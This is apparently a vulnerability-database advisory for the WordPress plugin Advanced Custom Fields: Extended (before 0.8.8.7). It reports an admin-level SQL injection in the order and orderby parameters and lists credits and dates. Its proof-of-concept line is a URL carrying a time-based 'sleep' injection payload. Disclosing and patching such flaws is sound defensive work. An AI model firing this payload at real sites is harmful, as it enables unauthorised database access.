WordPress Plugin Vulnerabilities
Advanced Custom Fields: Extended < 0.8.8.7 - Admin+ SQL Injection
Description
The plugin does not validate the order and orderby parameters before using them in a SQL statement, leading to a SQL Injection issue
Proof of Concept
https://example.ocm/wp-admin/options-general.php?page=acfe-options&orderby=1%20and%20sleep(0.02)%23
Affects Plugins
Fixed in version 0.8.8.7
References
Classification
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-24 (about 1 years ago)
Added
2021-12-24 (about 1 years ago)
Last Updated
2022-09-26 (about 4 months ago)